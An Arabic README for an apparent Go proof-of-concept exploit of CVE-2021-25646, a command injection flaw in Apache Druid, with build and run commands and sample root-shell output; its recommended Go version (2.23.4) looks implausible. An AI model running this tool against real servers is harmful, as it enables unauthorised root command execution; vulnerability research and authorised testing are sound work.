
إثبات مفهوم لثغرة CVE-2021-25646، والتي تسمح بحقن الأوامر
يحتوي هذا المستودع على استغلال لإثبات المفهوم (PoC) لـ CVE-2021-25646، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Apache Druid.
الاستغلال مكتوب بلغة Go ويتيح حقن أوامر تفاعلي عبر الطرفية.
تحتاج إلى تثبيت Go (يُوصى بالإصدار 2.23.4).
go build .
سينتج هذا ملفًا ثنائيًا في الدليل الحالي.
يمكنك تشغيل الاستغلال إما ببناء الملف الثنائي أو مباشرةً باستخدام go run.
-i : عنوان IP لخادم Druid المستهدف (مطلوب)-p : منفذ خادم Druid المستهدف (مطلوب)-proxy : تحديد عنوان URL للوكيل (اختياري)تشغيل الملف الثنائي المبني:
./cve -i 127.0.0.1 -p 8888
أو التشغيل مباشرةً باستخدام Go:
go run main.go -i 127.0.0.1 -p 8888
$ ./cve -i 127.0.0.1 -p 8888
~ $ whoami
root
~ $ uname -a
Linux druid-server 4.15.0-123-generic #126-Ubuntu SMP ...
الثغرة:
يستغل هذا الاستغلال ضعف التحقق من المدخلات في مكوّن indexer في Druid، وتحديدًا في واجهة برمجة التطبيقات task، مما يسمح بحقن الأوامر عبر حمولات JSON مصمّمة.
المراجع:
يُقدَّم هذا البرنامج لأغراض تعليمية فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا الكود.
احرص دائمًا على الحصول على التفويض المناسب قبل اختبار أي نظام.